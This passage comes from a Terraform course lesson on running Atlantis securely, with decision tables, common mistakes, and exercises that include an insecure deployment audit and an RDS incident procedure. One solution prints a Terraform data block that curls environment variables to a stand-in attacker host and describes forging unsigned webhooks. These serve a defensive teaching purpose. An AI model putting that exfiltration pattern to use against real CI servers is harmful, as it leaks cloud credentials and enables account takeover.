It deserves a clarification because it comes up in the same conversations. Crossplane does not use Terraform: it defines infrastructure as Kubernetes resources, with its own set of providers, and Kubernetes's reconciler takes care of it.

Terraform + GitOps Crossplane
Language HCL Kubernetes YAML
State A state file The Kubernetes cluster itself
Model Plan and apply Continuous reconciliation
A plan beforehand Yes, reviewable Not in the same sense
Ecosystem maturity Enormous Growing
Requirement None A Kubernetes cluster you have to operate

The absence of a reviewable plan is the difference that weighs most for stateful infrastructure: the whole of module 8 has been built around the idea that a human reads the delta before it happens.

  1. Choosing criteria for EcoMarket

The decision table that closes the module:

If your situation is... Choose Why
A small team, CI already in place, few infrastructure changes Your own pipeline (08-01–08-03) The cost of building it is already paid
Starting from scratch, no CI, with a budget HCP Terraform Less to build and less to maintain
A team that lives in PRs and wants the plan where the diff is Atlantis It is exactly its value proposition
You want Atlantis but not a service with permanent credentials Digger The same model, running in your CI with OIDC
A requirement for policies the team cannot disable HCP (Sentinel) or Atlantis with policies on the server The key in another building
Several teams tripping over the same state HCP or Atlantis Per-workspace permissions, or project locking
A lot of infrastructure and a tight budget Your own pipeline or Atlantis HCP is billed per managed resource
A strict data-residency requirement Your own pipeline, Atlantis or TFE Everything inside your perimeter
Stateless workloads on Kubernetes Continuous reconciliation The case it was designed for
Stateful infrastructure (databases, networks) Anything but continuous reconciliation An automatic correction can destroy data

EcoMarket's decision

EcoMarket stays with the pipeline from 08-03, and the three reasons are concrete:

  1. It is already built and it works. Migrating to Atlantis would mean deploying and operating a service with production credentials, which is exactly the kind of attack surface 07-04 taught us to avoid. The OIDC from 08-03 eliminates permanent credentials, and Atlantis would reintroduce them.
  2. The platform team is small. One more service to operate, patch and watch has a permanent cost that is not amortised by three environments and three components.
  3. The "apply before merging" order does not fit their promotion model. EcoMarket promotes by tag (07-02), and that model assumes main is the stable reference you tag from. With Atlantis, main can be behind reality while an applied PR waits to be merged.

And what it does adopt from this lesson: the idea that the plan must be where the conversation is. The workflow in 08-03 §7 already publishes the plan on the PR with its marker and its update; what Atlantis teaches is that this is not decoration, it is the core. A plan you have to go and find in another console is a plan nobody reads.

If EcoMarket grew tomorrow to six teams touching infrastructure, the decision would be revisited, and the most likely candidate would not be Atlantis but Digger: the same comment-based model, without the server.

Common Mistakes and Tips

--repo-allowlist=*. Anybody in the world can point a webhook at your Atlantis and make it run their Terraform with your credentials. Tip: the full, exact repository, never a wildcard.

Deploying Atlantis on the internet with the web interface accessible. The interface shows the locks and lets you release them. Tip: only /events exposed, restricted to the webhook IP ranges, and the interface over VPN.

allow_custom_workflows: true. A PR can define a workflow with any command in a run step and Atlantis runs it with its credentials. It is the malicious Jenkinsfile from 08-02 §14, again. Tip: false, and the workflows in the server's repos.yaml.

Putting the Conftest policies in the infrastructure repository. Whoever makes the change relaxes them in the same PR. Tip: on the server, deployed from a repository with security CODEOWNERS.

Removing undiverged because "it is annoying". It is the protection against applying a plan computed against stale code, and the scenario it prevents is real. Tip: keep it in staging and prod; if it is very annoying, the problem is long branches (07-02).

Closing a PR after a successful atlantis apply. The created infrastructure is left orphaned: it exists, it is in the state, and no code on main describes it. Tip: an applied PR is merged or reverted by applying, plus a workflow that warns when one is closed without merging.

atlantis apply with no -p. With nine projects, it applies everything, production included. Tip: --disable-apply-all on the server and the project always explicit.

Leaving ATLANTIS_DATA_DIR without persistent storage. A container restart loses every lock, and two PRs can plan the same project without knowing. Tip: a persistent volume, always.

Confusing Atlantis's workspace with the CLI's. Atlantis runs terraform workspace select by default, and if your repository does not use workspaces — as EcoMarket has not since 06-01 — it ends up creating unexpected states. Tip: a custom workflow with an init of your own and without the workspace step.

Badly written when_modified paths. They are relative to the project's dir: ../../environments/prod.tfvars, not environments/prod.tfvars. The symptom is an autoplan that never fires when a shared file changes, and nobody notices until a sizing change reaches production with no plan.

Writing the nine projects by hand. 200 lines of repetitive YAML that goes out of sync. Tip: generate it with a script and check in CI that the committed file matches.

Confusing GitOps by pull request with continuous reconciliation. They are different models with different risks, and calling them the same thing leads to adopting the second while believing you are adopting the first.

Continuously reconciling stateful infrastructure. The 03:42 scenario in §13 is real: a controller that reverts an incident mitigation turns one incident into two. Tip: continuous reconciliation for stateless workloads; for infrastructure, detection and a human decision.

Adopting Atlantis for the model and forgetting it is a service. It has to be deployed, updated, watched and protected, indefinitely. Tip: if the model convinces you but the service does not, look at Digger.

Exercises

Exercise 1: auditing an Atlantis deployment

An organisation deploys Atlantis like this:

docker run -d -p 80:4141 \
  -e ATLANTIS_GH_USER=atlantis \
  -e ATLANTIS_GH_TOKEN="ghp_..." \
  -e ATLANTIS_REPO_ALLOWLIST='github.com/*' \
  -e ATLANTIS_ATLANTIS_URL=http://atlantis.example.com \
  -e AWS_ACCESS_KEY_ID=AKIA... \
  -e AWS_SECRET_ACCESS_KEY=... \
  runatlantis/atlantis:latest

And its atlantis.yaml:

version: 3
automerge: true
projects:
  - dir: .
    workspace: default
    autoplan: { enabled: true, when_modified: ["*.tf"] }
    apply_requirements: []
    workflow: custom
workflows:
  custom:
    plan:
      steps:
        - init
        - plan
    apply:
      steps:
        - run: terraform apply -auto-approve

Tasks:

  1. List every problem, classified by severity.
  2. For the four most serious, describe the concrete attack or incident.
  3. Rewrite both configurations.

Exercise 2: the apply that fails half-way in production

It is Friday at 17:40. PR #318 modifies infra/data in production: it adds a read replica and changes the sizing of the primary. The plan said "2 to create, 1 to change". It is approved by two people.

Somebody writes atlantis apply -p data-prod. Atlantis replies:

Apply Failed: data-prod

aws_db_instance.read_replica: Creating...
aws_db_instance.read_replica: Creation complete after 8m12s

aws_db_parameter_group.main: Modifying...
Error: modifying DB Parameter Group (ecomarket-prod-pg):
  InvalidParameterValue: The parameter max_connections could not be modified

aws_db_instance.main: Still modifying... [2m30s elapsed]
Error: waiting for DB Instance (ecomarket-prod-db) update:
  unexpected state 'storage-full', wanted 'available'

Write the response procedure, answering:

  1. What do you do in the first five minutes?
  2. Do you merge the PR? Close it? Leave it open? Justify it.
  3. What happens to Atlantis's project lock and to the state lock?
  4. What happens if another team needs to touch data-prod on Monday?
  5. What would you change in the configuration so that this does not happen the same way again?

Exercise 3: choosing a model for three cases

For each case, choose between your own pipeline, HCP Terraform, Atlantis, Digger or continuous reconciliation. Give three reasons and one objection to your own choice.

A. A games company, 25 infrastructure people in 4 teams. They deploy 40 times a day to a Kubernetes cluster (stateless workloads) and twice a week to the base infrastructure (VPC, databases, CDN). They want the plan visible on the PR. No special compliance requirements.

B. A consultancy managing the infrastructure of 30 clients, each in its own AWS account and its own repository. 12 engineers. They need strict isolation between clients and to demonstrate to each of them who touched what.

C. A 4-person platform team in a 200-person company. They have the GitHub Actions pipeline from 08-03 working. Their complaint: the product teams do not read the plans because "you have to go to Actions" and they approve infrastructure PRs looking only at the diff.

Solutions

Solution 1

1. Problems, by severity.

# Problem Severity Reference
1 ATLANTIS_REPO_ALLOWLIST='github.com/*' CRITICAL §4
2 apply_requirements: []: nobody has to approve anything CRITICAL §7
3 Static AWS keys in the container's environment variables CRITICAL 07-04
4 No ATLANTIS_GH_WEBHOOK_SECRET: webhooks unverified CRITICAL §4
5 http:// with no TLS and port 80 exposed CRITICAL §4
6 apply: terraform apply -auto-approve re-plans, it does not use $PLANFILE CRITICAL 08-01 §6
7 automerge: true with apply_requirements: []: it applies and merges on its own CRITICAL §11
8 No persistent volume: the locks are lost on restart HIGH §9
9 runatlantis/atlantis:latest with no pinned version HIGH 08-01 §14
10 dir: . and workspace: default: a single project for everything HIGH §5
11 No terraform_version: it uses whatever the image brings HIGH 08-02 §2
12 No policies, no linter, no scanner, no tests HIGH §6
13 The GitHub token on the command line: visible in ps and in the history Medium 08-02 §7
14 No --disable-apply-all Medium §8
15 when_modified: ["*.tf"] does not include shared files Medium §5

2. The four concrete attacks.

Problems 1 + 3 (an open allowlist + static keys). An attacker creates the repository attacker/whatever with a single file:

data "external" "steal" {
  program = ["bash", "-c", "curl -X POST https://attacker.example/r -d \"$(env)\""]
}

They configure a webhook pointing at http://atlantis.example.com/events — with no secret, so it is accepted — and open a PR in their own repository. Atlantis, with github.com/*, accepts it, runs terraform plan, the data block is evaluated, and the AWS keys go out over HTTP. Because they are static, they are valid indefinitely. The attacker needs no access to any of the victim's repositories: only the URL.

Problems 2 + 7 (no requirements + automerge). Anybody with permission to comment on a PR writes atlantis apply. It is applied with nobody's approval, and with automerge: true the PR then merges itself. There is no point in the whole flow where a second pair of eyes is mandatory. A PR that deletes the production database gets applied if somebody types two words.

Problems 4 + 5 (no webhook secret, no TLS). Anybody who knows the URL sends a POST simulating a comment event: "atlantis apply has been written on PR 12". Atlantis does not verify the signature and acts. And with no TLS, the plans — which contain infrastructure data, and potentially secrets — travel over the network in the clear.

Problem 6 (the apply re-plans). It is the same flaw as exercise 1 of 08-01 and exercise 2 of 08-03, here with an aggravating factor: in Atlantis a lot of time can pass between the autoplan and the apply comment. The plan that was reviewed and the delta that gets executed can be completely different, and with apply_requirements: [] nobody has even reviewed it.

3. The two configurations rewritten.

#!/usr/bin/env bash
# The corrected Atlantis deployment.
# Note: in production this would be a Kubernetes manifest or a Terraform
# module; it is left as a docker run so it can be compared with the
# original line by line.
set -euo pipefail

docker run -d --name atlantis \
  --restart unless-stopped \
  \
  `# TLS terminated at the reverse proxy; Atlantis only listens locally.` \
  -p 127.0.0.1:4141:4141 \
  \
  `# A PERSISTENT volume: the locks survive a restart.` \
  -v /data/atlantis:/atlantis-data \
  \
  `# The server's configuration: workflows and policies OUT of the` \
  `# reach of any PR.` \
  -v /etc/atlantis:/etc/atlantis:ro \
  \
  -e ATLANTIS_GH_USER=atlantis-ecomarket \
  `# The secrets by FILE, not on the command line (ps aux).` \
  -e ATLANTIS_GH_TOKEN_FILE=/run/secrets/gh_token \
  -e ATLANTIS_GH_WEBHOOK_SECRET_FILE=/run/secrets/webhook_secret \
  -v /run/secrets:/run/secrets:ro \
  \
  -e ATLANTIS_ATLANTIS_URL=https://atlantis.ecomarket.example.com \
  -e ATLANTIS_DATA_DIR=/atlantis-data \
  \
  `# The EXACT repository, no wildcards.` \
  -e ATLANTIS_REPO_ALLOWLIST='github.com/ecomarket/ecomarket-infra' \
  \
  `# The repository configuration is dictated by the SERVER.` \
  -e ATLANTIS_REPO_CONFIG=/etc/atlantis/repos.yaml \
  \
  `# Forces the project to be named: a bare "atlantis apply" will not do.` \
  -e ATLANTIS_DISABLE_APPLY_ALL=true \
  \
  `# Collapses the old plans: only the current one is visible.` \
  -e ATLANTIS_HIDE_PREV_PLAN_COMMENTS=true \
  \
  `# Do not write Git credentials into the working directory.` \
  -e ATLANTIS_WRITE_GIT_CREDS=false \
  \
  `# NO AWS_ACCESS_KEY_ID: the credentials come from the instance role` \
  `# (or from IRSA if it runs on EKS). Just like 08-02 §8.` \
  \
  `# A PINNED version. Never latest.` \
  ghcr.io/runatlantis/atlantis:v0.28.5

# And the host's role, which can only ASSUME the Terraform roles:
#   - ecomarket-terraform-plan-<environment>   (read-only)
#   - ecomarket-terraform-<environment>        (write)
# Atlantis never holds direct permissions over the infrastructure.
# /etc/atlantis/repos.yaml — ON THE SERVER.
repos:
  - id: github.com/ecomarket/ecomarket-infra

    # The MINIMUM requirements. They can be tightened per project in
    # atlantis.yaml, but never relaxed below this.
    apply_requirements: [approved, mergeable, undiverged]

    # The repository may only CHOOSE a workflow, not define one.
    allow_custom_workflows: false
    allowed_overrides: [workflow, apply_requirements]

    # Who can run Atlantis commands.
    pre_workflow_hooks:
      - run: /etc/atlantis/hooks/check-author.sh

workflows:
  ecomarket:
    plan:
      steps:
        - run: terraform fmt -check -recursive -no-color
        - run: |
            terraform init -input=false -no-color -reconfigure \
              -lockfile=readonly \
              -backend-config="$REPO_ROOT/backends/${WORKSPACE}.hcl"
        - run: terraform validate -no-color
        - run: tflint --chdir="$DIR" --recursive --format=compact
        - run: trivy config --exit-code 1 --severity HIGH,CRITICAL "$DIR"
        - run: terraform test -filter=tests/unit -no-color
        - run: |
            terraform plan -input=false -no-color -lock-timeout=5m \
              -var-file="$REPO_ROOT/environments/common.auto.tfvars" \
              -var-file="$REPO_ROOT/environments/${WORKSPACE}.tfvars" \
              -out="$PLANFILE"
        - run: |
            terraform show -json "$PLANFILE" > plan.json
            # The SERVER's policies, not the repository's.
            conftest test --policy /etc/atlantis/policies/ --parser json plan.json
        - run: PLAN_JSON=plan.json "$REPO_ROOT/ci/destroy-guard.sh" "$WORKSPACE"
        - run: rm -f plan.json      # it contains secrets in the clear
        - run: terraform show -no-color "$PLANFILE"
    apply:
      steps:
        - run: "$REPO_ROOT/ci/check-plan-freshness.sh" "$PLANFILE"
        # THE saved plan. No -auto-approve and no -var-file.
        - run: terraform apply -input=false -no-color -lock-timeout=10m "$PLANFILE"
# atlantis.yaml in the repository — GENERATED, not hand-written (§5).
version: 3
parallel_plan: true
parallel_apply: false
automerge: false          # merging is a human decision

projects:
  - name: data-prod
    dir: infra/data
    workspace: prod
    terraform_version: v1.9.8
    workflow: ecomarket
    apply_requirements: [approved, mergeable, undiverged]
    autoplan:
      enabled: true
      when_modified:
        - "*.tf"
        - "../../modules/**/*.tf"
        - "../../environments/common.auto.tfvars"
        - "../../environments/prod.tfvars"
        - "../../backends/prod.hcl"
  # ... the other eight projects, generated the same way

Solution 2

1. The first five minutes.

The priority is not the PR: it is knowing whether the store is working. The storage-full message on the production primary database is an operational alert, not a pipeline failure.

# 1. Is the store up? The health check from 06-05.
curl -sS -o /dev/null -w '%{http_code}\n' https://ecomarket.example.com/health

# 2. The REAL state of the primary database.
aws rds describe-db-instances --db-instance-identifier ecomarket-prod-db \
  --query 'DBInstances[0].[DBInstanceStatus,AllocatedStorage,StorageType]'

# 3. The free space: 'storage-full' means a full disk, and that
#    may have the store down RIGHT NOW.
aws cloudwatch get-metric-statistics \
  --namespace AWS/RDS --metric-name FreeStorageSpace \
  --dimensions Name=DBInstanceIdentifier,Value=ecomarket-prod-db \
  --start-time "$(date -u -d '1 hour ago' +%FT%TZ)" \
  --end-time "$(date -u +%FT%TZ)" --period 300 --statistics Minimum

If the store is down, this is an incident and it is opened as one, with the on-call engineer. The PR takes second place until the store responds. The likely mitigation — extending the storage — is done by the fastest route, from the console if necessary, and noted down to be brought into the code afterwards.

And there is an important observation about the diagnosis: the read replica was created successfully before the failure. A replica consumes space and I/O on the primary during its initial creation, so it is quite possible that the apply itself contributed to filling the disk. That has to be confirmed, because it changes the fix.

2. Merge, close or leave open?

Leave it open, and it is the case where Atlantis's model both shines and hurts.

Option Consequence Verdict
Merge main would assert that the change is applied, and it is only partly applied. The next PR builds on a lie No
Close The created replica is left orphaned: it exists, it is in the state, and no code on main describes it. And it keeps costing money No
Leave open The lock stays taken, but the state is honest: "there is a half-done change, with an owner and a history" Yes

The PR stays open, with a comment explaining what was applied, what failed and what is being done. That comment is the incident record until there is a formal one.

3. The locks.

Lock State What to do
Project (Atlantis) Held by PR #318, and it should stay that way Nothing. It is what stops another PR planning against a half-done state
State (DynamoDB) Released, if Terraform exited cleanly Verify. The apply failed but it finished, so it should be free
# Verify that the state lock was NOT left orphaned.
terraform -chdir=infra/data plan -lock-timeout=10s -detailed-exitcode
# If it says "Error acquiring the state lock", the apply died without
# releasing it: a VERIFIED force-unlock, with the exact ID (08-01 §11).

And the point to be clear about: Atlantis's project lock and the state lock are different things. atlantis unlock releases the first and does not touch the second.

4. On Monday, another team needs data-prod.

They will run into this when they open their PR:

Project app-prod is locked by PR #318.
To force unlock, run `atlantis unlock` in that PR.

And the correct response is not to unlock. It is to go to PR #318, read what happened, and realise that the production database is in a state that matches no code. Applying another change on top is how one incident becomes three.

The correct order:

  1. Finish or revert #318. Until then, data-prod is not touched.
  2. If the other team's change is urgent and cannot wait, it is folded into #318: a single PR that leaves the component in a coherent state.
  3. Only if #318 is going to take days and the other change is genuinely independent is unlocking considered — with the platform team present and understanding what is half-done.

The lock is not the problem: it is what stops the problem multiplying.

5. What to change in the configuration.

Change Why
The deployment window in the apply step, not just in the plan one The workflow in §6 checks it on the plan; on a Friday at 17:40 the apply should have been blocked. It is 08-01 §10's ci/deployment-window.sh, in the right place
A precondition on the database's free space A precondition (06-05) that fails if FreeStorageSpace is below a threshold. The plan would have failed instead of the apply
Splitting the PR: replica and sizing separately Two dangerous changes in one PR is unreviewable (07-02). With two PRs, the second one's failure does not leave the first half-done
storage_autoscaling enabled on RDS The root cause. A production database with no storage autoscaling is a time bomb
A FreeStorageSpace alert before 15% This should have been caught days earlier, not in an apply
A health check after the apply The data "http" against /health from 06-05, so that the apply itself says whether the store is still up

And the process change, which is the most important one: changes to data-prod are not applied on a Friday afternoon. Not because the code is worse on a Friday, but because the people who know how to fix a full database are not around on Saturday.

Solution 3

A. Games company: 40 daily deployments to Kubernetes, 2 weekly to infrastructure.

Choice: two different models for two different problems. Continuous reconciliation (Argo CD or Flux) for the Kubernetes workloads, and Atlantis or Digger for the base infrastructure.

  1. The two cadences are incompatible with a single model. 40 daily deployments of stateless workloads is exactly the case continuous reconciliation was invented for: the code is always right, and reverting a deployment is harmless. 2 weekly changes to VPCs and databases is exactly the case where it is not.
  2. "They want the plan visible on the PR" is literally Atlantis's value proposition. With 4 teams reviewing each other's infrastructure changes, having the plan where the diff is changes the quality of the reviews.
  3. With no compliance requirements, nothing pushes towards a paid platform. The budget is better spent elsewhere.

An objection: I am recommending operating two systems — a GitOps controller and an Atlantis server — each with its own credentials, updates and attack surface. For 25 infrastructure people that is bearable, but it is more complexity than the phrase "two models for two problems" suggests. If the team already has Argo CD running and does not want one more service, Digger is a better choice than Atlantis: the same comment model, zero servers.

B. Consultancy: 30 clients, 30 accounts, 30 repositories, strict isolation.

Choice: HCP Terraform, with one organisation per client.

  1. Isolation is the main requirement and it is exactly what HCP's organisations and projects model. One workspace per client, in one organisation per client, with its own credentials and no possibility of one client's run seeing another's state. Building that in your own pipeline means maintaining 30 isolated configurations and trusting that nobody picks the wrong variable.
  2. "Demonstrating to each client who touched what" is the runs history, with who launched it, which plan was approved, who confirmed it and what output it produced. In your own pipeline you would have to reconstruct that by correlating CI logs with CloudTrail, and that is not a comfortable answer in a client audit.
  3. 12 engineers for 30 clients means nobody has time to operate pipeline infrastructure. Every hour spent maintaining the CI is an hour that is not billed.

An objection: billing per managed resource, multiplied by 30 clients, can be very high, and in a consultancy that cost has to be passed on or absorbed. Before deciding, you would have to estimate the bill against the real inventory of the 30 clients, and compare it with the cost of the engineering hours it replaces. If it comes out unfavourable, the alternative is Terrakube — HCP's approach, self-hosted and open source — or a heavily parameterised pipeline of your own, accepting the cost of building it properly once.

C. A 4-person platform team: the pipeline works, but nobody reads the plans.

Choice: none of the five. The problem is not the tool.

  1. The diagnosis is in the complaint itself: "you have to go to Actions". But the workflow in 08-03 §7 already publishes the plan as a PR comment. If the teams still do not read it, either that step is not implemented or the comment is unreadable. Before migrating tools, you have to look at a real PR and see what gets published.
  2. If the comment exists and is still not read, the usual causes are: fifteen accumulated comments because the previous one is never updated, an untruncated plan that scrolls forever, or no headline saying "DESTROYS 3 RESOURCES" on the first line. All three are fixed in an afternoon, and all three are solved in the script in 08-03 §7.
  3. And if the problem is that they approve without reading, no tool fixes that. What fixes it is a mandatory status check that blocks the merge when the plan destroys resources and nobody has added the destroy-approved label. It is the guard from 08-01 §8, wired into branch protection. Migrating to Atlantis without that would produce exactly the same result with a different bot.

An objection: I am assuming that the plan comment is properly implemented and that the problem is cultural, and I may be wrong on both counts. If, on looking, it turns out the pipeline never commented on the PR — which is more common than it sounds, because it is the step most often postponed — then Atlantis is a reasonable answer: it brings that behaviour out of the box, with nobody having to maintain a commenting script, and with a 4-person platform team that is worth something.

The honest way to decide is to look at three infrastructure PRs from the last week and see what is published on them. If there is a readable plan with its headline, the problem is one of process and is fixed with branch protection. If there is nothing, the problem is one of implementation, and then the question becomes whether you prefer to implement it or to adopt a tool that already has it.

Conclusion

Atlantis brings the plan to the place where the conversation happens, and in doing so it changes several things we had been taking for granted.

  • GitOps has two meanings, and confusing them causes half the arguments. The broad one — the repository as the origin of the change — describes the whole of module 8. The strict one — a controller continuously reconciling — is a different model, with different risks.
  • Atlantis is an intermediary, not a platform. It does not manage the state, it does not lock the backend, it does not run policies by itself. It translates a PR's comments into Terraform commands and returns the result to the PR.
  • It is a service with write permissions over your cloud, exposed to webhooks, and that forces five non-negotiable measures: --repo-allowlist with the exact repository, a webhook secret, TLS, a restricted network and allow_custom_workflows: false. A wildcard in the allowlist is remote code execution with your credentials.
  • atlantis.yaml declares projects, and its workspace is not the CLI workspace from 06-01: it is confusion source number one, and in EcoMarket it forces an init of your own in the workflow. Nine projects are generated with a script and verified in CI, not written by hand.
  • Custom workflows chain the whole of module 7 — fmt, tflint, Trivy, terraform test, Conftest, the destruction guard — before the plan, and they respect $PLANFILE, which is what guarantees that the apply applies what was reviewed.
  • undiverged is the most important requirement and the one most often disabled. It prevents applying a plan computed against code that is no longer the base branch's, and its friction is the signal that the branches are too long.
  • Project locking is a third layer, distinct from state locking and from the CI's concurrency group. It lasts as long as the PR, not as long as a command, and it serialises changes to the same component at the pull-request level. atlantis unlock releases that one, and does not touch the DynamoDB one.
  • Policies are a control only if they live on the server. In ci/policies/ in the infrastructure repository, whoever makes the change relaxes them in the same PR. It is the same boundary as Sentinel in 08-04, with no licence cost and with a server to operate.
  • Applying before merging makes main reflect reality rather than an intention, and means a failed apply is fixed where it was instead of leaving main lying. In exchange it introduces a failure of its own, and a worse one: closing an applied PR leaves orphan infrastructure, and against that you need a team rule and an automatic check.
  • Digger is Atlantis with no server: the same comment model, running in your CI, with the OIDC from 08-03 and no permanent credentials. It is, probably, the natural evolution for anybody who wants the model and not the service.
  • Continuous reconciliation is a different animal. A controller that corrects drift on its own is excellent for stateless workloads and dangerous for infrastructure: reverting at 03:42 a mitigation applied at 03:25 turns one incident into two. The rule is that you only automatically reconcile what manual operation should not be touching.
  • And EcoMarket's decision is to stay with the pipeline it already has, because it is built, because Atlantis would reintroduce the permanent credentials OIDC eliminated, and because the apply-before-merge model does not fit the promotion-by-tag rule from 07-02. What it does take from this lesson is the underlying lesson: a plan you have to go and find in another console is a plan nobody reads.

And with this, module 8 ends. Looking back: the design of the two-job flow with different permissions, the plan artefact that guarantees that what was approved and what was executed are the same thing, the single parameter from which the backend, the .tfvars, the role and the concurrency all derive, the gates and drift detection; that design built in Jenkins, with its input that releases the agent and its two pipelines for production; built again in GitHub Actions, with OIDC finally configured end to end and the four sub mistakes that hand over an account; bought ready-made in HCP Terraform, where the workspaces turned out to be what 06-01 promised and Sentinel went from two paragraphs to four policies with their tests; and finally brought into the PR with Atlantis, where the plan stopped being something you look up and became something you read and reply to.

The whole module has pursued one idea: that nothing should depend on somebody remembering. And it has achieved it, with a consequence worth facing before turning the page.

When everything is automated, failures stop happening on your laptop. They happen on an ephemeral runner, with no TTY, no colours, no AWS profile of yours, no provider cache of yours and no shell history; in a container that was destroyed twenty minutes ago and of which all that remains is a 4,000-line log. The message "Error: Provider produced inconsistent final plan" that on your machine you would solve in two minutes by trying things becomes, there, a fifteen-minute cycle per attempt: edit, push, wait, read. And the state you would fix with a state mv while thinking aloud is, there, held by a job somebody cancelled.

Knowing how to read those failures is a different skill from knowing how to build the pipeline, and it is the one that separates whoever has a machine that works from whoever has a machine nobody knows how to fix. Module 9, Troubleshooting and Debugging, is exactly that: the errors that really turn up and what they really mean, TF_LOG and how to read a trace without drowning in it, the state problems — locks, corruption, orphan resources like the ones in exercise 2 of this lesson — with their recovery procedures, and where to look for help when the error message appears nowhere.

© Copyright 2026. All rights reserved